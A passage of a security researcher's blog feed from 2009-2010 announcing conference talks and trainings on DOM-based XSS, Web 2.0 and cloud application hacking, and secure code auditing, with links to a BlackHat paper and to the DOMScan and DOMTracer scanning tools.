Paper and Tools</title><content type='html'>DOM Hacking was presented at BlackHat and going to present at next HackInTheBox. Here is the paper and Tools (DOMScan and DOMTracer). It helps during scanning, assessments and pen-testing. Enjoy!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Paper on DOM Hacking&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Download&lt;br /&gt;PDF document from here&lt;a href="https://media.blackhat.com/bh-us-10/whitepapers/Shah/BlackHat-USA-2010-Shah-DOM-Hacks-Shreeraj-wp.pdf"&gt; [BlackHat site]&lt;/a&gt;&lt;br /&gt;Presentation slides from here &lt;a href="https://media.blackhat.com/bh-us-10/presentations/Shah/BlackHat-USA-2010-Shah-DOM-Hacks-Shreeraj-slides.pdf"&gt;[BlackHat site]&lt;/a&gt;&lt;div style="width: 400px;" id="__ss_5282547"&gt;&lt;strong style="display: block; margin: 12px 0pt 4px;"&gt;&lt;/strong&gt;&lt;object id="__sse5282547" height="510" width="450"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/doc_player.swf?doc=domhacksshreerajshahbh2010paper-100925002554-phpapp02&amp;amp;stripped_title=dom-hackking-security-blackhat-preso&amp;amp;userName=shreeraj"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed name="__sse5282547" src="http://static.slidesharecdn.com/swf/doc_player.swf?doc=domhacksshreerajshahbh2010paper-100925002554-phpapp02&amp;amp;stripped_title=dom-hackking-security-blackhat-preso&amp;amp;userName=shreeraj" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="510" width="450"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding: 5px 0pt 12px;"&gt;&lt;span class="welcometxtgreen" style=""&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;DOMScan (Beta)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DOMScan - Scanning and Analyzing DOM&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;DOMScan is utility to drive IE and capture real time DOM from the browser. It gives access to active DOM context along with JavaScripts. One can observe the DOM in detail using this utility. It has predefined rules to scan DOM. One can run the scan on existing DOM and fetch interesting entry points and calls. It allows tracing through JavaScript variables as well. Using this utility one can identify following vulnerabilities.&lt;br /&gt;&lt;br /&gt;    • DOM based XSS&lt;br /&gt;    • DOM based vulnerable calls&lt;br /&gt;    • Source of abuse and external content loading methods&lt;br /&gt;    • Possible DOM logic and business layer calls&lt;br /&gt;    • Same Origin Bypass calls and usage&lt;br /&gt;    • Mashup usage inside DOM&lt;br /&gt;    • Widget Architecture review using the tool&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;a class="readmorelink" href="http://www.blueinfy.com/DOMScan.zip"&gt;&lt;b&gt;Download&lt;/b&gt;&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DOMTracer (Beta)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DOMTracer - Firefox Plugin (Trace DOM and JavaScript Calls)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The DOM as seen in all the aforementioned cases needs to be analyzed in many aspects. Run-time analysis of the DOM/JavaScript is vital and aids one to look at the calls made during the ‘dynamic DOM manipulation’. The DOMTracer is a Firefox Extension for this same purpose. It has been written using the standard method of writing extensions using the XUL platform and the JavaScript language in majority. This is in beta and we are working on new features.&lt;br /&gt; &lt;br /&gt;&lt;b&gt;&lt;a class="readmorelink" href="http://www.blueinfy.com/domtracer.xpi"&gt;&lt;b&gt;Download&lt;/b&gt;&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-341792561289979242?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/341792561289979242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/341792561289979242'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2010/09/dom-hacking-paper-and-tools.html' title='DOM Hacking - Paper and Tools'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-9118380492156387714</id><published>2010-09-23T21:40:00.000-07:00</published><updated>2010-09-23T21:43:58.675-07:00</updated><title type='text'>HITB - Malaysia</title><content type='html'>&lt;span class="welcometxtgreen"&gt;         &lt;a class="readmorelink" href="http://conference.hackinthebox.org/hitbsecconf2010kul/?page_id=55"&gt;Training - TT1  – Web 2.0 Hacking – Advanced Attacks and Defense (Ajax, RIA and SOA)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a class="readmorelink" href="http://conference.hackinthebox.org/hitbsecconf2010kul/?page_id=982"&gt;Hacking  a Browser’s DOM – Exploiting Ajax and RIA &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p align="justify"&gt; Web 2.0 applications are using dynamic DOM manipulations extensively for  presenting JSON or XML streams in the browser. These DOM calls mixed  with XMLHttpRequest (XHR) object are part of client side logic written  in JavaScript or part of any other client side technology be it Flash or  Silverlight. DOM driven XSS is a sleeping giant in the application code  and it can be exploited by an attacker to gain access to the end user’s  browser/desktop. This can become a root cause of following set of  interesting vulnerabilities – Cross Widget Sniffing, RSS feed reader  exploitation, XHR response stealing, Mashup hacking, Malicious code  injection, Spreading Worm etc. This set of vulnerability needs  innovative way of scanning the application and corresponding methodology  needs to be tweaked. We have seen DOM driven XSS exploited in various  different popular portals to spread worm or virus. This is a significant  threat on the rise and should be mitigated by validating un-trusted  content poisoning Ajax or Flash routines. DOM driven XSS, Cross Domain  Bypass and CSRF can cause a deadly cocktail to exploit Web 2.0  applications across Internet. This presentation will be covering  following important issues and concepts.&lt;/p&gt; &lt;p&gt;* Web 2.0 Architecture and DOM manipulation points&lt;br /&gt;* JavaScript exploits by leveraging DOM&lt;br /&gt;* Cross Domain Bypass and Hacks&lt;br /&gt;* DOM hacking for controlling Widgets and Mashups&lt;br /&gt;* Exploiting Ajax routines to gain feed readers&lt;br /&gt;* Scanning and detecting DOM driven XSS in Web 2.0&lt;br /&gt;* Tools for scanning the DOM calls&lt;br /&gt;* Mitigation strategies for better security posture&lt;/p&gt;&lt;br /&gt;&lt;span class="welcometxtgreen"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-9118380492156387714?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/9118380492156387714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/9118380492156387714'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2010/09/hitb-malaysia.html' title='HITB - Malaysia'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-8050615063312728917</id><published>2010-04-27T17:10:00.000-07:00</published><updated>2010-04-27T17:11:35.773-07:00</updated><title type='text'>Secure SDLC and Static Code Analytics ...</title><content type='html'>&lt;div style="width:425px" id="__ss_3810522"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/shreeraj/secure-sdlc-for-software" title="Secure SDLC for Software "&gt;Secure SDLC for Software &lt;/a&gt;&lt;/strong&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=shreerajshahsecuresdlc-100421200619-phpapp02&amp;amp;stripped_title=secure-sdlc-for-software"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=shreerajshahsecuresdlc-100421200619-phpapp02&amp;amp;stripped_title=secure-sdlc-for-software" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/shreeraj"&gt;shreeraj&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-8050615063312728917?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8050615063312728917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8050615063312728917'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2010/04/secure-sdlc-and-static-code-analytics.html' title='Secure SDLC and Static Code Analytics ...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-4786849667285170504</id><published>2010-04-27T17:08:00.000-07:00</published><updated>2010-04-27T17:10:16.197-07:00</updated><title type='text'>Defending Against Top Web Attacks of 2010</title><content type='html'>&lt;div style="width:425px" id="__ss_3810664"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/shreeraj/web-attacks-top-threats-2010" title="Web Attacks - Top threats - 2010"&gt;Web Attacks - Top threats - 2010&lt;/a&gt;&lt;/strong&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=shreerajshahdefending-100421201519-phpapp02&amp;amp;stripped_title=web-attacks-top-threats-2010"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=shreerajshahdefending-100421201519-phpapp02&amp;amp;stripped_title=web-attacks-top-threats-2010" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/shreeraj"&gt;shreeraj&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-4786849667285170504?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4786849667285170504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4786849667285170504'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2010/04/defending-against-top-web-attacks-of.html' title='Defending Against Top Web Attacks of 2010'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-4097294782721986616</id><published>2010-02-25T00:09:00.000-08:00</published><updated>2010-02-25T00:17:22.241-08:00</updated><title type='text'>Future Trainings and Talks ...</title><content type='html'>&lt;table id="table2" align="left" border="0" cellpadding="5" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="color: rgb(0, 0, 0);" align="left" valign="top" width="150"&gt;&lt;p align="center"&gt;                                &lt;img src="http://www.blueinfy.com/img/infose10.jpg" align="middle/" /&gt;         &lt;/p&gt;&lt;/td&gt;         &lt;td bg="" style="color: rgb(51, 204, 0);" valign="top"&gt;&lt;span class="welcometxtgreen"&gt;         &lt;span class="greentitle"&gt;InfoSecWorld 10 - Orlando&lt;/span&gt;&lt;br /&gt;   &lt;a class="readmorelink" href="http://www.misti.com/includes/conferences/workshopdetails.asp?pID=174&amp;amp;ISS=21737&amp;amp;SID=652091"&gt;Web 2.0 Hacking: Attacks and Defense HANDS-ON&lt;/a&gt;                  &lt;p&gt;                  &lt;/p&gt;&lt;/span&gt;&lt;/td&gt;        &lt;/tr&gt;                &lt;tr&gt;                                &lt;td align="left" valign="top" width="150"&gt;                                &lt;p align="center"&gt;                                &lt;img src="http://www.blueinfy.com/img/infose10.jpg" align="middle/" /&gt;         &lt;/p&gt;&lt;/td&gt;         &lt;td valign="top"&gt;&lt;span class="welcometxtgreen"&gt;         &lt;span style="color: rgb(51, 204, 0);" class="greentitle"&gt;InfoSecWorld 10 - Orlando&lt;/span&gt;&lt;br /&gt;   &lt;a class="readmorelink" href="http://www.misti.com/includes/conferences/agendadetails.asp?pID=174&amp;amp;ISS=21541&amp;amp;SID=697463"&gt;Defending Against the Worst Web-Based Application Vulnerabilities of 2010&lt;/a&gt;         &lt;p&gt;&lt;a class="readmorelink" href="http://www.misti.com/includes/conferences/agendadetails.asp?pID=174&amp;amp;ISS=21541&amp;amp;SID=697446"&gt;Secure SDLC for Software Assurance&lt;/a&gt;&lt;/p&gt;         &lt;/span&gt;&lt;/td&gt;         &lt;/tr&gt;        &lt;tr&gt;                                &lt;td style="color: rgb(51, 204, 0);" align="left" valign="top" width="150"&gt;                                &lt;p align="center"&gt;                                &lt;img src="http://www.blueinfy.com/img/dubai10.jpg" align="middle/" /&gt;         &lt;/p&gt;&lt;/td&gt;         &lt;td bg="" style="color: rgb(51, 204, 0);" valign="top"&gt;&lt;span class="welcometxtgreen"&gt;         &lt;span class="greentitle"&gt;HackInTheBox - Dubai&lt;/span&gt;&lt;br /&gt;   &lt;a class="readmorelink" href="http://conference.hackinthebox.org/hitbsecconf2010dxb/?page_id=55"&gt;Web Application Security – Threats &amp;amp; Countermeasures&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-4097294782721986616?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4097294782721986616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4097294782721986616'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2010/02/future-trainings-and-talks.html' title='Future Trainings and Talks ...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-8244136708981588688</id><published>2009-10-25T08:49:00.001-07:00</published><updated>2009-10-25T08:59:43.911-07:00</updated><title type='text'>SecurityByte &amp; OWASP event in India</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.securitybyte.org/"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 29px;" src="http://4.bp.blogspot.com/_xyOlmjdroio/SuRzq4uqA6I/AAAAAAAAAH8/_qXtGIhnD88/s200/secbyte.jpg" alt="" id="BLOGGER_PHOTO_ID_5396565434116473762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Blueinfy is conducting one day workshop and sharing research at this event.&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;a href="http://www.securitybyte.org/index.php/conference/sessions/15-cloud-hacking-distributed-attack-a-exploit-platform.html" class="contentpagetitle"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;Cloud Hacking – Distributed Attack &amp;amp; Exploit Platform&lt;/a&gt;&lt;/span&gt; &lt;p style="text-align: justify;"&gt;We are witnessing applications, networks and infrastructures moving towards cloud computing. These clouds are emerging as a common platform to perform distributed attacks. Web/Enterprise 2.0 technologies are adding a new dimension to compromise cloud security. In this talk following topics will be covered with real life cases, tools and demonstrations.&lt;/p&gt;   &lt;ul&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Fingerprinting and Footprinting clouds and resources&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Clouds internals and discoveries&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Cloud applications’ internal APIs and session hijacking &amp;amp; fixations&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Privilege and authorization escalations in cloud computing&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Network and Operating Systems hacks inside clouds&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Exploiting client side of cloud users&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Attack methods and exploits&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Impact analysis of cross domain access inside cloud - Twitter, Facebook, LinkedIn, MySpace etc.&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Google’s model and security threats – lessons to learn&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Live hacks and demos&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div style="text-align: justify;"&gt;Tools to take away&lt;/div&gt; &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.securitybyte.org/index.php/trainings/sessions/1-day-tracks/61-advanced-web-hacking-securing-ajax-ria-and-soa.html" class="contentpagetitle"&gt;Advanced Web Hacking – Securing Ajax, RIA and SOA&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Introduction and adaptation of new technologies like Ajax, Rich Internet Applications and Web Services has changed the dimension of Application Hacking. We are witnessing new ways of hacking web-based applications and it needs better understanding of technologies to secure applications. The only constant in this space is change. In this dynamically changing scenario in the era of Web 2.0 it is important to understand new threats that emerge in order to build constructive strategies to protect corporate application assets. Application layers are evolving and lots of client side attack vectors are on the rise like Ajax based XSS, CSRF, Widget injections, RSS exploits, Mashup manipulations and client side logic exploitations. At the same time various new attack vectors are evolving around SOA by attacking SOAP, XML-RPC and REST. It is time to understand these advanced attack vectors and defense strategies.&lt;br /&gt;Research and Talk&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-8244136708981588688?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8244136708981588688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8244136708981588688'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/10/securitybyte-owasp-even-in-india.html' title='SecurityByte &amp; OWASP event in India'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_xyOlmjdroio/SuRzq4uqA6I/AAAAAAAAAH8/_qXtGIhnD88/s72-c/secbyte.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-8580452015874552468</id><published>2009-10-02T22:23:00.000-07:00</published><updated>2009-10-02T22:25:00.198-07:00</updated><title type='text'>Web 2.0 Hacking class at DeepSec from Blueinfy</title><content type='html'>Introduction and adaptation of new technologies like Ajax, Rich Internet Applications and Web Services has changed the dimension of Application Hacking. We are witnessing new ways of hacking web based applications and it needs better understanding of technologies to secure applications. The only constant in this space is change. In this dynamically changing scenario in the era of Web 2.0 it is important to understand new threats that emerge in order to build constructive strategies to protect corporate application assets. Application layers are evolving and lot of client side attack vectors are on the rise like Ajax based XSS, CSRF, Widget injections, RSS exploits, Mashup manipulations and client side logic exploitations. At the same time various new attack vectors are evolving around SOA by attacking SOAP, XML-RPC and REST. It is time to understand these advanced attack vectors and defense strategies.    The course is designed by the author of --Web Hacking: Attacks and Defense--, “Hacking Web Services” and “Web 2.0 Security – Defending Ajax, RIA and SOA” bringing his experience in application security and research as part of curriculum to address new challenges. Application Hacking 2.0 is hands-on class. The class features real life cases, hands one exercises, new scanning tools and defense mechanisms. Participants would be methodically exposed to various different attack vectors and exploits. In the class instructor will explain new tools like wsScanner, scanweb2.0, AppMap, AppCodeScan etc. for better pen-testing and application audits.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://deepsec.net/"&gt;Visit here for detail on event&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-8580452015874552468?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8580452015874552468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8580452015874552468'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/10/web-20-hacking-class-at-deepsec-from.html' title='Web 2.0 Hacking class at DeepSec from Blueinfy'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-4022549634216164250</id><published>2009-10-01T05:38:00.000-07:00</published><updated>2009-10-01T05:41:50.222-07:00</updated><title type='text'>Secure Coding Class in Singapore</title><content type='html'>We are conducting class in Singapore from 25th-27th November.  &lt;a href="http://www.coseinc.com/en/index.php?rt=courses&amp;amp;code=COSEINC-SAC"&gt;Detail over here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Description&lt;br /&gt;&lt;br /&gt;Enterprise application source code, independent of languages and platforms, is a major source of vulnerabilities. The class is designed and developed to focus on enterprise architecture and application analytics to discover vulnerabilities. One of the CSI surveys on vulnerability distribution suggests that in 64% of cases, a vulnerability crops up due to programming errors and in 36% of cases, due to configuration issues. We will be covering analysis techniques, with tools, for assessment and review of enterprise application source code. Enterprise 2.0 and mashups, along with other different Web 2.0 concepts, reinforced by hands-on experience, will help in understanding next generation application requirements.&lt;br /&gt;&lt;br /&gt;   It is imperative to know source code review methodologies and strategies for analysis.     The emphasis of the class would be to develop a complete understanding of source code analysis,     audit methodologies, techniques and tools. Knowledge gained would help in analyzing and securing     enterprise applications at all different stages - architecture, design and/or development.     The course is designed by the author of "Web Hacking: Attacks and Defenses", "Hacking Web Service"     and "Web 2.0 Security - Defending Ajax, RIA and SOA", bringing his experience in application security     and research to the curriculum. Special focus is given to compliance and Top-25 errors for enterprise applications.    &lt;br /&gt;&lt;br /&gt;   This class is hands-on and needs laptops to implement its numerous exercises     designed to run hand-in-hand with their concepts. The class features real life cases,     hands-on exercises, code scanning tools and defense plans. Participants would be methodically     taken down to the source code level and exposed to the possible flaws in architecture, design and     coding practices. The class would then focus on the proper ways of writing secure code and analyzing the code base.        &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.coseinc.com/en/index.php?rt=courseoutline&amp;amp;code=COSEINC-SAC"&gt;Visit for full detail&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-4022549634216164250?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4022549634216164250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4022549634216164250'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/10/secure-coding-class-in-singapore.html' title='Secure Coding Class in Singapore'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-2076761236649414189</id><published>2009-09-29T07:31:00.000-07:00</published><updated>2009-09-29T07:33:54.190-07:00</updated><title type='text'>Annual Conference IT Audit &amp; Controls 2009</title><content type='html'>Conducting workshop and talk ...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;W3 Conducting an Enterprise Application Audit DEMO      &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Date: Monday, 12 October 2009&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Time: 9am - 5pm&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The focus of this workshop is to analyze applications within an enterprise architecture to discover vulnerabilities. You will learn scanning, auditing and source code review methodologies – all critical tools to enable application analysis. The workshop features real-life cases, demonstrations, scanning tools and defense plans.&lt;br /&gt;This workshop will cover:&lt;br /&gt;• The most common vulnerabilities and proven methodologies for their detection&lt;br /&gt;• Auditing for compliance and standards like PCI-DSS, OWASP Top 10 and CVE/CWE Top 25 errors&lt;br /&gt;• Common programming errors and source-code scanning methodologies&lt;br /&gt;• Conducting an architecture and design audit to ensure security&lt;br /&gt;• Securing SDLC with best practices&lt;br /&gt;• Effective scanning tools and approaches&lt;br /&gt;• Mitigation strategies and frameworks&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5 Auditing and Securing Web/Enterprise 2.0 Applications and Architectures&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Date: Tuesday, 13 October 2009&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Time: 10:30am - 12pm&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;• Web 2.0 threats, hacks and incidents&lt;br /&gt;• Auditing and assessing the security of Web 2.0 architectures and design&lt;br /&gt;• Web 2.0 vulnerabilities and mitigation&lt;br /&gt;• Discovering JSON-based SQL injections, XML-driven XSS, CSRF 2.0, RSS feed injections, widget exploits, mashup hacks and more&lt;br /&gt;• Auditing Web 2.0 source code and frameworks&lt;br /&gt;• New tools, methodologies and audit strategies for Web 2.0&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-2076761236649414189?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2076761236649414189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2076761236649414189'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/09/annual-conference-it-audit-controls.html' title='Annual Conference IT Audit &amp; Controls 2009'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-4010397720134929437</id><published>2009-09-28T01:32:00.000-07:00</published><updated>2009-09-28T01:36:58.001-07:00</updated><title type='text'>OWASP - Belgium chapter talk...</title><content type='html'>It was fun in presenting at &lt;a href="http://www.owasp.org/index.php/Belgium#tab=Chapter_Meetings"&gt;OWASP Belgium chapter&lt;/a&gt; a week back before kicking the BruCON training on Web 2.0. Presented techniques on Web 2.0 assessments and some demos on scanning RIA and Flex apps.&lt;br /&gt;&lt;br /&gt;PDF of presentation - &lt;a href="http://www.owasp.org/index.php/File:Shreeraj_OWASP_Belgium.pdf"&gt; here &lt;/a&gt;(http://www.owasp.org/index.php/File:Shreeraj_OWASP_Belgium.pdf)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-4010397720134929437?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4010397720134929437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4010397720134929437'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/09/owasp-belgium-chapter-talk.html' title='OWASP - Belgium chapter talk...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-861566226782600357</id><published>2009-09-27T21:00:00.000-07:00</published><updated>2009-09-27T21:13:54.881-07:00</updated><title type='text'>Talk on - Application Source Code Audit - Why, What and How</title><content type='html'>Enterprise application source code, independent of languages and platforms, is a major source of vulnerabilities. This talk is designed to focus on enterprise architecture and application analytics to discover vulnerabilities. One of the CSI surveys on vulnerability distribution suggests that in 64% of cases, a vulnerability crops up due to programming errors and in 36% of cases, due to configuration issues. We will be covering analysis and audit techniques, for assessment and review of enterprise application source code. Essentially all three important aspects of the audit 